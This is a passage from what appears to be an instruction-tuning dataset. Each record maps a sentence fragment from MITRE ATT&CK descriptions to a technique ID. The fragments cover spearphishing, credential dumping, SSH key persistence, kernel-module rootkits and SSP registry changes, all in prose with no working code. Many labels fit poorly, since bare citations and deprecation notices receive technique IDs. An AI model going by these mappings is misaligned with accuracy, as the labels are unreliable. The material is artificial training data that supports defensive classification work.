"text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also use information from previous reconnaissance efforts (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or ### Response: T1598.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to tailor pretexts to be even more persuasive and believable for the victim.", "output": "T1598.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to tailor pretexts to be even more persuasive and believable for the victim. ### Response: T1598.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "**This technique has been deprecated.", "output": "T1108", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: **This technique has been deprecated. ### Response: T1108."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Please use [Create Account](https://attack.mitre.org/techniques/T1136),", "output": "T1108", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Please use [Create Account](https://attack.mitre.org/techniques/T1136), ### Response: T1108."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Web Shell](https://attack.mitre.org/techniques/T1505/003), and [External Remote Services](https://attack.mitre.org/techniques/T1133) where appropriate.", "output": "T1108", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Web Shell](https://attack.mitre.org/techniques/T1505/003), and [External Remote Services](https://attack.mitre.org/techniques/T1133) where appropriate. ### Response: T1108."}{"instruction": "List the MITRE techniques contained in the text.", "input": "**\n\nAdversaries may use more than one remote access tool with varying command and control protocols or credentialed access to remote services so they can maintain access if an access mechanism is detected or mitigated.", "output": "T1108", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: **\n\nAdversaries may use more than one remote access tool with varying command and control protocols or credentialed access to remote services so they can maintain access if an access mechanism is detected or mitigated. ### Response: T1108."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If one type of tool is detected and blocked or removed as a response but the organization did not gain a full understanding of the adversary's tools and access, then the adversary will be able to retain access to the network.", "output": "T1108", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If one type of tool is detected and blocked or removed as a response but the organization did not gain a full understanding of the adversary's tools and access, then the adversary will be able to retain access to the network. ### Response: T1108."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also attempt to gain access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use [External Remote Services](https://attack.mitre.org/techniques/T1133) such as external VPNs as a way to maintain access despite interruptions to remote access tools deployed within a target network.(Citation: Mandiant APT1) Adversaries may also retain access through cloud-based infrastructure and applications.", "output": "T1108", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also attempt to gain access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use [External Remote Services](https://attack.mitre.org/techniques/T1133) such as external VPNs as a way to maintain access despite interruptions to remote access tools deployed within a target network.(Citation: Mandiant APT1) Adversaries may also retain access through cloud-based infrastructure and applications. ### Response: T1108."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Use of a [Web Shell](https://attack.mitre.org/techniques/T1100) is one such way to maintain access to a network through an externally accessible Web server.", "output": "T1108", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Use of a [Web Shell](https://attack.mitre.org/techniques/T1100) is one such way to maintain access to a network through an externally accessible Web server. ### Response: T1108."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Spearphishing attachment is a specific variant of spearphishing.", "output": "T1193", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Spearphishing attachment is a specific variant of spearphishing. ### Response: T1193."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email.", "output": "T1193", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. ### Response: T1193."}{"instruction": "List the MITRE techniques contained in the text.", "input": "All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry.", "output": "T1193", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. ### Response: T1193."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In this scenario, adversaries attach a file to the spearphishing email and usually rely upon [User Execution](https://attack.mitre.org/techniques/T1204) to gain execution.", "output": "T1193", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In this scenario, adversaries attach a file to the spearphishing email and usually rely upon [User Execution](https://attack.mitre.org/techniques/T1204) to gain execution. ### Response: T1193."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files.", "output": "T1193", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. ### Response: T1193."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Upon opening the attachment (and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly executes on the user's system.", "output": "T1193", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Upon opening the attachment (and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly executes on the user's system. ### Response: T1193."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so.", "output": "T1193", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. ### Response: T1193."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses.", "output": "T1193", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. ### Response: T1193."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one.", "output": "T1193", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one. ### Response: T1193."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software.", "output": "T1003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. ### Response: T1003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Credentials can then be used to perform [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and access restricted information.", "output": "T1003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Credentials can then be used to perform [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and access restricted information. ### Response: T1003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Several of the tools mentioned in associated sub-techniques may be used by both adversaries and professional security testers.", "output": "T1003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Several of the tools mentioned in associated sub-techniques may be used by both adversaries and professional security testers. ### Response: T1003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Additional custom tools likely exist as well.", "output": "T1003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Additional custom tools likely exist as well. ### Response: T1003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to access cached domain credentials used to allow authentication to occur in the event a domain controller is unavailable.(Citation: Microsoft - Cached Creds)", "output": "T1003.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to access cached domain credentials used to allow authentication to occur in the event a domain controller is unavailable.(Citation: Microsoft - Cached Creds) ### Response: T1003.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "On Windows Vista and newer, the hash format is DCC2 (Domain Cached Credentials version 2) hash, also known as MS-Cache v2 hash.(Citation: PassLib mscache)", "output": "T1003.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: On Windows Vista and newer, the hash format is DCC2 (Domain Cached Credentials version 2) hash, also known as MS-Cache v2 hash.(Citation: PassLib mscache) ### Response: T1003.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The number of default cached credentials varies and can be altered per system.", "output": "T1003.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The number of default cached credentials varies and can be altered per system. ### Response: T1003.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This hash does not allow pass-the-hash style attacks, and instead requires [Password Cracking](https://attack.mitre.org/techniques/T1110/002) to recover the plaintext password.(Citation: ired mscache)\n\nWith SYSTEM access, the tools/utilities such as [Mimikatz](https://attack.mitre.org/software/S0002), [Reg](https://attack.mitre.org/software/S0075), and secretsdump.py can be used to extract the cached credentials.", "output": "T1003.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This hash does not allow pass-the-hash style attacks, and instead requires [Password Cracking](https://attack.mitre.org/techniques/T1110/002) to recover the plaintext password.(Citation: ired mscache)\n\nWith SYSTEM access, the tools/utilities such as [Mimikatz](https://attack.mitre.org/software/S0002), [Reg](https://attack.mitre.org/software/S0075), and secretsdump.py can be used to extract the cached credentials. ### Response: T1003.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Note: Cached credentials for Windows Vista are derived using PBKDF2.(Citation: PassLib mscache)", "output": "T1003.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Note: Cached credentials for Windows Vista are derived using PBKDF2.(Citation: PassLib mscache) ### Response: T1003.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may manipulate accounts to maintain and/or elevate access to victim systems.", "output": "T1098", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may manipulate accounts to maintain and/or elevate access to victim systems. ### Response: T1098."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Account manipulation may consist of any action that preserves or modifies adversary access to a compromised account, such as modifying credentials or permission groups.", "output": "T1098", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Account manipulation may consist of any action that preserves or modifies adversary access to a compromised account, such as modifying credentials or permission groups. ### Response: T1098."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to bypass password duration policies and preserve the life of compromised credentials.", "output": "T1098", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to bypass password duration policies and preserve the life of compromised credentials. ### Response: T1098."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain.", "output": "T1098", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain. ### Response: T1098."}{"instruction": "List the MITRE techniques contained in the text.", "input": "However, account manipulation may also lead to privilege escalation where modifications grant access to additional roles, permissions, or higher-privileged [Valid Accounts](https://attack.mitre.org/techniques/T1078).", "output": "T1098", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: However, account manipulation may also lead to privilege escalation where modifications grant access to additional roles, permissions, or higher-privileged [Valid Accounts](https://attack.mitre.org/techniques/T1078). ### Response: T1098."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may modify the SSH <code>authorized_keys</code> file to maintain persistence on a victim host.", "output": "T1098.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may modify the SSH <code>authorized_keys</code> file to maintain persistence on a victim host. ### Response: T1098.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Linux distributions and macOS commonly use key-based authentication to secure the authentication process of SSH sessions for remote management.", "output": "T1098.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Linux distributions and macOS commonly use key-based authentication to secure the authentication process of SSH sessions for remote management. ### Response: T1098.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The <code>authorized_keys</code> file in SSH specifies the SSH keys that can be used for logging into the user account for which the file is configured.", "output": "T1098.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The <code>authorized_keys</code> file in SSH specifies the SSH keys that can be used for logging into the user account for which the file is configured. ### Response: T1098.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This file is usually found in the user's home directory under <code>&lt;user-home&gt;/.ssh/authorized_keys</code>.(Citation: SSH Authorized Keys)", "output": "T1098.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This file is usually found in the user's home directory under <code>&lt;user-home&gt;/.ssh/authorized_keys</code>.(Citation: SSH Authorized Keys) ### Response: T1098.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Users may edit the system\u2019s SSH config file to modify the directives PubkeyAuthentication and RSAAuthentication to the value \u201cyes\u201d to ensure public key and RSA authentication are enabled.", "output": "T1098.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Users may edit the system\u2019s SSH config file to modify the directives PubkeyAuthentication and RSAAuthentication to the value \u201cyes\u201d to ensure public key and RSA authentication are enabled. ### Response: T1098.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The SSH config file is usually located under <code>/etc/ssh/sshd_config</code>.", "output": "T1098.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The SSH config file is usually located under <code>/etc/ssh/sshd_config</code>. ### Response: T1098.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may modify SSH <code>authorized_keys</code> files directly with scripts or shell commands to add their own adversary-supplied public keys.", "output": "T1098.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may modify SSH <code>authorized_keys</code> files directly with scripts or shell commands to add their own adversary-supplied public keys. ### Response: T1098.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In cloud environments, adversaries may be able to modify the SSH authorized_keys file of a particular virtual machine via the command line interface or rest API.", "output": "T1098.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In cloud environments, adversaries may be able to modify the SSH authorized_keys file of a particular virtual machine via the command line interface or rest API. ### Response: T1098.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, by using the Google Cloud CLI\u2019s \u201cadd-metadata\u201d command an adversary may add SSH keys to a user account.(Citation: Google Cloud Add Metadata)(Citation: Google Cloud Privilege Escalation)", "output": "T1098.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, by using the Google Cloud CLI\u2019s \u201cadd-metadata\u201d command an adversary may add SSH keys to a user account.(Citation: Google Cloud Add Metadata)(Citation: Google Cloud Privilege Escalation) ### Response: T1098.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Similarly, in Azure, an adversary may update the authorized_keys file of a virtual machine via a PATCH request to the API.(Citation:", "output": "T1098.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Similarly, in Azure, an adversary may update the authorized_keys file of a virtual machine via a PATCH request to the API.(Citation: ### Response: T1098.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Azure Update Virtual Machines)", "output": "T1098.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Azure Update Virtual Machines) ### Response: T1098.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This ensures that an adversary possessing the corresponding private key may log in as an existing user via SSH.(Citation: Venafi SSH Key Abuse)(Citation: Cybereason Linux Exim Worm)", "output": "T1098.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This ensures that an adversary possessing the corresponding private key may log in as an existing user via SSH.(Citation: Venafi SSH Key Abuse)(Citation: Cybereason Linux Exim Worm) ### Response: T1098.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "It may also lead to privilege escalation where the virtual machine or instance has distinct permissions from the requesting user.", "output": "T1098.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: It may also lead to privilege escalation where the virtual machine or instance has distinct permissions from the requesting user. ### Response: T1098.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Where authorized_keys files are modified via cloud APIs or command line interfaces, an adversary may achieve privilege escalation on the target virtual machine if they add a key to a higher-privileged user.", "output": "T1098.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Where authorized_keys files are modified via cloud APIs or command line interfaces, an adversary may achieve privilege escalation on the target virtual machine if they add a key to a higher-privileged user. ### Response: T1098.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "SSH keys can also be added to accounts on network devices, such as with the `ip ssh pubkey-chain` [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) command.(Citation: cisco_ip_ssh_pubkey_ch_cmd)", "output": "T1098.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: SSH keys can also be added to accounts on network devices, such as with the `ip ssh pubkey-chain` [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) command.(Citation: cisco_ip_ssh_pubkey_ch_cmd) ### Response: T1098.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Loadable Kernel Modules (or LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand.", "output": "T1215", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Loadable Kernel Modules (or LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. ### Response: T1215."}{"instruction": "List the MITRE techniques contained in the text.", "input": "They extend the functionality of the kernel without the need to reboot the system.", "output": "T1215", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: They extend the functionality of the kernel without the need to reboot the system. ### Response: T1215."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system.", "output": "T1215", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system. ### Response: T1215."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Linux Kernel Programming)\u00a0When used maliciously, Loadable Kernel Modules (LKMs) can be a type of kernel-mode [Rootkit](https://attack.mitre.org/techniques/T1014) that run with the highest operating system privilege (Ring 0).", "output": "T1215", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Linux Kernel Programming)\u00a0When used maliciously, Loadable Kernel Modules (LKMs) can be a type of kernel-mode [Rootkit](https://attack.mitre.org/techniques/T1014) that run with the highest operating system privilege (Ring 0). ### Response: T1215."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Linux Kernel Module Programming Guide)", "output": "T1215", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Linux Kernel Module Programming Guide) ### Response: T1215."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can use loadable kernel modules to covertly persist on a system and evade defenses.", "output": "T1215", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can use loadable kernel modules to covertly persist on a system and evade defenses. ### Response: T1215."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Examples have been found in the wild and there are some open source projects.", "output": "T1215", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Examples have been found in the wild and there are some open source projects. ### Response: T1215."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Volatility Phalanx2)", "output": "T1215", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Volatility Phalanx2) ### Response: T1215."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: CrowdStrike Linux Rootkit) (Citation: GitHub Reptile) (Citation: GitHub Diamorphine)\n\nCommon features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors and enabling root access to non-privileged users.", "output": "T1215", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: CrowdStrike Linux Rootkit) (Citation: GitHub Reptile) (Citation: GitHub Diamorphine)\n\nCommon features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors and enabling root access to non-privileged users. ### Response: T1215."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: iDefense Rootkit Overview)\n\nKernel extensions, also called kext, are used for macOS to load functionality onto a system similar to LKMs for Linux.", "output": "T1215", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: iDefense Rootkit Overview)\n\nKernel extensions, also called kext, are used for macOS to load functionality onto a system similar to LKMs for Linux. ### Response: T1215."}{"instruction": "List the MITRE techniques contained in the text.", "input": "They are loaded and unloaded through <code>kextload</code> and <code>kextunload</code> commands.", "output": "T1215", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: They are loaded and unloaded through <code>kextload</code> and <code>kextunload</code> commands. ### Response: T1215."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Several examples have been found where this can be used.", "output": "T1215", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Several examples have been found where this can be used. ### Response: T1215."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: RSAC 2015 San Francisco Patrick Wardle) (Citation: Synack Secure Kernel Extension Broken)", "output": "T1215", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: RSAC 2015 San Francisco Patrick Wardle) (Citation: Synack Secure Kernel Extension Broken) ### Response: T1215."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Examples have been found in the wild.", "output": "T1215", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Examples have been found in the wild. ### Response: T1215."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Securelist Ventir)", "output": "T1215", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Securelist Ventir) ### Response: T1215."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Windows Security Support Provider (SSP) DLLs are loaded into the Local Security Authority (LSA) process at system start.", "output": "T1101", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Windows Security Support Provider (SSP) DLLs are loaded into the Local Security Authority (LSA) process at system start. ### Response: T1101."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs.", "output": "T1101", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. ### Response: T1101."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The SSP configuration is stored in two Registry keys: <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages</code> and <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Security Packages</code>.", "output": "T1101", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The SSP configuration is stored in two Registry keys: <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages</code> and <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Security Packages</code>. ### Response: T1101."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.", "output": "T1101", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called. ### Response: T1101."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Graeber 2014)", "output": "T1101", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Graeber 2014) ### Response: T1101."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather information about the victim's networks that can be used during targeting.", "output": "T1590", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather information about the victim's networks that can be used during targeting. ### Response: T1590."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about networks may include a variety of details, including administrative data (ex: IP ranges, domain names, etc.) as well as specifics regarding its topology and operations.", "output": "T1590", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about networks may include a variety of details, including administrative data (ex: IP ranges, domain names, etc.) as well as specifics regarding its topology and operations. ### Response: T1590."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598).", "output": "T1590", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for 